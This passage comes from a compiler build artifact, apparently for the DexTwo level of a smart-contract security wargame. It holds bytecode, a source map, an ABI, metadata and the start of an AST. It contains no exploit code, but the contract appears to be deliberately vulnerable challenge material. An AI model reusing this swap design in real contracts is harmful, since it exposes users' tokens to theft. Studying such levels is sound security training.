8151801515811461092b575f80fd5b9392505050565b5f60208284031215610942575f80fd5b5051919050565b808202811582820484141761078b57634e487b7160e01b5f52601160045260245ffd5b5f8261098657634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b06b3477cf4b0a293b58d8e5e0116b11e52ae38e1b535652e333e7bfd7f27fd964736f6c63430008180033","sourceMap":"230:1402:69:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1279:208;;;;;;:::i;:::-;;:::i;:::-;;290:21;;;;;-1:-1:-1;;;;;290:21:69;;;;;;-1:-1:-1;;;;;638:55:155;;;620:74;;608:2;593:18;290:21:69;;;;;;;;475:165;;;;;;:::i;:::-;;:::i;1066:207::-;;;;;;:::i;:::-;;:::i;:::-;;;1184:25:155;;;1172:2;1157:18;1066:207:69;1038:177:155;1831:101:23;;;:::i;1201:85::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;340:129:69;;;;;;:::i;:::-;;:::i;263:21::-;;;;;-1:-1:-1;;;;;263:21:69;;;646:414;;;;;;:::i;:::-;;:::i;2081:198:23:-;;;;;;:::i;:::-;;:::i;1493:137:69:-;;;;;;:::i;:::-;;:::i;1279:208::-;1364:6;;1346:62;;-1:-1:-1;;;1346:62:69;;1380:10;1346:62;;;1939:34:155;-1:-1:-1;;;;;2009:15:155;;;1989:18;;;1982:43;2041:18;;;2034:34;;;1364:6:69;;;;1346:33;;1851:18:155;;1346:62:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1436:6:69;;1418:62;;-1:-1:-1;;;1418:62:69;;1452:10;1418:62;;;1939:34:155;-1:-1:-1;;;;;2009:15:155;;;1989:18;;;1982:43;2041:18;;;2034:34;;;1436:6:69;;;;-1:-1:-1;1418:33:69;;-1:-1:-1;1851:18:155;;1418:62:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1279:208;;:::o;475:165::-;1094:13:23;:11;:13::i;:::-;564:69:69::1;::::0;-1:-1:-1;;;564:69:69;;599:10:::1;564:69;::::0;::::1;1939:34:155::0;619:4:69::1;1989:18:155::0;;;1982:43;2041:18;;;2034:34;;;-1:-1:-1;;;;;564:34:69;::::1;::::0;::::1;::::0;1851:18:155;;564:69:69::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;475:165:::0;;:::o;1066:207::-;1228:37;;-1:-1:-1;;;1228:37:69;;1259:4;1228:37;;;620:74:155;1152:7:69;;-1:-1:-1;;;;;1228:22:69;;;;;593:18:155;;1228:37:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1189:35;;-1:-1:-1;;;1189:35:69;;1218:4;1189:35;;;620:74:155;-1:-1:-1;;;;;1189:20:69;;;;;593:18:155;;1189:35:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1180:44;;:6;:44;:::i;:::-;1179:86;;;;:::i;:::-;1171:95;1066:207;-1:-1:-1;;;;1066:207:69:o;1831:101:23:-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;340:129:69:-;1094:13:23;:11;:13::i;:::-;420:6:69::1;:16:::0;;-1:-1:-1;;;;;420:16:69;;::::1;-1:-1:-1::0;;420:16:69;;::::1;;::::0;;;446:6:::1;:16:::0;;;;;::::1;::::0;::::1;;::::0;;340:129::o;646:414::-;727:34;;-1:-1:-1;;;727:34:69;;750:10;727:34;;;620:74:155;765:6:69;;-1:-1:-1;;;;;727:22:69;;;;;593:18:155;;727:34:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:44;;719:75;;;;-1:-1:-1;;;719:75:69;;3358:2:155;719:75:69;;;3340:21:155;3397:2;3377:18;;;3370:30;3436:20;3416:18;;;3409:48;3474:18;;719:75:69;;;;;;;;;804:18;825:31;839:4;845:2;849:6;825:13;:31::i;:::-;866:60;;-1:-1:-1;;;866:60:69;;892:10;866:60;;;1939:34:155;912:4:69;1989:18:155;;;1982:43;2041:18;;;2034:34;;;804:52:69;;-1:-1:-1;;;;;;866:25:69;;;;;1851:18:155;;866:60:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;936:45:69;;;;;963:4;936:45;;;3677:74:155;3767:18;;;3760:34;;;-1:-1:-1;;;;;936:18:69;;;;;3650::155;;936:45:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;991:62:69;;-1:-1:-1;;;991:62:69;;1023:4;991:62;;;1939:34:155;1030:10:69;1989:18:155;;;1982:43;2041:18;;;2034:34;;;-1:-1:-1;;;;;991:23:69;;;;;1851:18:155;;991:62:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;709:351;646:414;;;:::o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;4007:2:155;2161:73:23::1;::::0;::::1;3989:21:155::0;4046:2;4026:18;;;4019:30;4085:34;4065:18;;;4058:62;4156:8;4136:18;;;4129:36;4182:19;;2161:73:23::1;3805:402:155::0;2161:73:23::1;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1493:137:69:-;1591:32;;-1:-1:-1;;;1591:32:69;;-1:-1:-1;;;;;638:55:155;;;1591:32:69;;;620:74:155;1565:7:69;;1591:23;;;;;;593:18:155;;1591:32:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1584:39;;1493:137;;;;;:::o;1359:130:23:-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;4414:2:155;1414:68:23;;;4396:21:155;;;4433:18;;;4426:30;4492:34;4472:18;;;4465:62;4544:18;;1414:68:23;4212:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;14:196:155:-;82:20;;-1:-1:-1;;;;;131:54:155;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:254::-;283:6;291;344:2;332:9;323:7;319:23;315:32;312:52;;;360:1;357;350:12;312:52;383:29;402:9;383:29;:::i;:::-;373:39;459:2;444:18;;;;431:32;;-1:-1:-1;;;215:254:155:o;705:328::-;782:6;790;798;851:2;839:9;830:7;826:23;822:32;819:52;;;867:1;864;857:12;819:52;890:29;909:9;890:29;:::i;:::-;880:39;;938:38;972:2;961:9;957:18;938:38;:::i;:::-;928:48;;1023:2;1012:9;1008:18;995:32;985:42;;705:328;;;;;:::o;1220:260::-;1288:6;1296;1349:2;1337:9;1328:7;1324:23;1320:32;1317:52;;;1365:1;1362;1355:12;1317:52;1388:29;1407:9;1388:29;:::i;:::-;1378:39;;1436:38;1470:2;1459:9;1455:18;1436:38;:::i;:::-;1426:48;;1220:260;;;;;:::o;1485:186::-;1544:6;1597:2;1585:9;1576:7;1572:23;1568:32;1565:52;;;1613:1;1610;1603:12;1565:52;1636:29;1655:9;1636:29;:::i;2079:277::-;2146:6;2199:2;2187:9;2178:7;2174:23;2170:32;2167:52;;;2215:1;2212;2205:12;2167:52;2247:9;2241:16;2300:5;2293:13;2286:21;2279:5;2276:32;2266:60;;2322:1;2319;2312:12;2266:60;2345:5;2079:277;-1:-1:-1;;;2079:277:155:o;2361:184::-;2431:6;2484:2;2472:9;2463:7;2459:23;2455:32;2452:52;;;2500:1;2497;2490:12;2452:52;-1:-1:-1;2523:16:155;;2361:184;-1:-1:-1;2361:184:155:o;2550:322::-;2623:9;;;2654;;2671:15;;;2665:22;;2651:37;2641:225;;-1:-1:-1;;;2719:1:155;2712:88;2823:4;2820:1;2813:15;2851:4;2848:1;2841:15;2877:274;2917:1;2943;2933:189;;-1:-1:-1;;;2975:1:155;2968:88;3079:4;3076:1;3069:15;3107:4;3104:1;3097:15;2933:189;-1:-1:-1;3136:9:155;;2877:274::o","linkReferences":{}},"methodIdentifiers":{"add_liquidity(address,uint256)":"264e8893","approve(address,uint256)":"095ea7b3","balanceOf(address,address)":"f7888aec","getSwapAmount(address,address,uint256)":"635bc0c2","owner()":"8da5cb5b","renounceOwnership()":"715018a6","setTokens(address,address)":"cbc7854e","swap(address,address,uint256)":"df791e50","token1()":"d21220a7","token2()":"25be124e","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token_address\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"add_liquidity\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"getSwapAmount\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_token1\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_token2\",\"type\":\"address\"}],\"name\":\"setTokens\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"swap\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"token1\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"token2\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DexTwo.sol\":\"DexTwo\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DexTwo.sol\":{\"keccak256\":\"0xeffc9f6006e26bd2ce1e6816206f515b65726c131439751db3636dd8886d6d5e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://871623804cf6467cf51bb241e523472e6cea91a6ce400658adc218cffbfe2b38\",\"dweb:/ipfs/QmUjenKKbWtidbvdp8xFBeVH15NTxXKEnnC8ke3L78c1P7\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"token_address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"add_liquidity"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function","name":"getSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"_token1","type":"address"},{"internalType":"address","name":"_token2","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setTokens"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"swap"},{"inputs":[],"stateMutability":"view","type":"function","name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"token2","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DexTwo.sol":"DexTwo"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DexTwo.sol":{"keccak256":"0xeffc9f6006e26bd2ce1e6816206f515b65726c131439751db3636dd8886d6d5e","urls":["bzz-raw://871623804cf6467cf51bb241e523472e6cea91a6ce400658adc218cffbfe2b38","dweb:/ipfs/QmUjenKKbWtidbvdp8xFBeVH15NTxXKEnnC8ke3L78c1P7"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DexTwo.sol","id":51282,"exportedSymbols":{"Context":[48281],"DexTwo":[51225],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964],"Ownable":[46700],"SwappableTokenTwo":[51281]},"nodeType":"SourceUnit","src":"32:2065:69","nodes":[{"id":51021,"nodeType":"PragmaDirective","src":"32:23:69","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51022,"nodeType":"ImportDirective","src":"57:58:69","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/IERC20.sol","nameLocation":"-1:-1:-1","scope":51282,"sourceUnit":47940,"symbolAliases":[],"unitAlias":""},{"id":51023,"nodeType":"ImportDirective","src":"116:57:69","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51282,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51024,"nodeType":"ImportDirective","src":"174:54:69","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":51282,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":51225,"nodeType":"ContractDefinition","src":"230:1402:69","nodes":[{"id":51028,"nodeType":"VariableDeclaration","src":"263:21:69","nodes":[],"constant":false,"functionSelector":"d21220a7","mutability":"mutable","name":"token1","nameLocation":"278:6:69","scope":51225,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51027,"name":"address","nodeType":"ElementaryTypeName","src":"263:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51030,"nodeType":"VariableDeclaration","src":"290:21:69","nodes":[],"constant":false,"functionSelector":"25be124e","mutability":"mutable","name":"token2","nameLocation":"305:6:69","scope":51225,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51029,"name":"address","nodeType":"ElementaryTypeName","src":"290:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51034,"nodeType":"FunctionDefinition","src":"318:16:69","nodes":[],"body":{"id":51033,"nodeType":"Block","src":"332:2:69","nodes":[],"statements":[]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51031,"nodeType":"ParameterList","parameters":[],"src":"329:2:69"},"returnParameters":{"id":51032,"nodeType":"ParameterList","parameters":[],"src":"332:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51052,"nodeType":"FunctionDefinition","src":"340:129:69","nodes":[],"body":{"id":51051,"nodeType":"Block","src":"410:59:69","nodes":[],"statements":[{"expression":{"id":51045,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51043,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51028,"src":"420:6:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51044,"name":"_token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51036,"src":"429:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"420:16:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51046,"nodeType":"ExpressionStatement","src":"420:16:69"},{"expression":{"id":51049,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51047,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51030,"src":"446:6:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51048,"name":"_token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51038,"src":"455:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"446:16:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51050,"nodeType":"ExpressionStatement","src":"446:16:69"}]},"functionSelector":"cbc7854e","implemented":true,"kind":"function","modifiers":[{"id":51041,"kind":"modifierInvocation","modifierName":{"id":51040,"name":"onlyOwner","nameLocations":["400:9:69"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"400:9:69"},"nodeType":"ModifierInvocation","src":"400:9:69"}],"name":"setTokens","nameLocation":"349:9:69","parameters":{"id":51039,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51036,"mutability":"mutable","name":"_token1","nameLocation":"367:7:69","nodeType":"VariableDeclaration","scope":51052,"src":"359:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51035,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51038,"mutability":"mutable","name":"_token2","nameLocation":"384:7:69","nodeType":"VariableDeclaration","scope":51052,"src":"376:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51037,"name":"address","nodeType":"ElementaryTypeName","src":"376:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"358:34:69"},"returnParameters":{"id":51042,"nodeType":"ParameterList","parameters":[],"src":"410:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51075,"nodeType":"FunctionDefinition","src":"475:165:69","nodes":[],"body":{"id":51074,"nodeType":"Block","src":"554:86:69","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":51065,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"599:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51066,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"603:6:69","memberName":"sender","nodeType":"MemberAccess","src":"599:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":51069,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"619:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51068,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"611:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51067,"name":"address","nodeType":"ElementaryTypeName","src":"611:7:69","typeDescriptions":{}}},"id":51070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"611:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51071,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51056,"src":"626:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51062,"name":"token_address"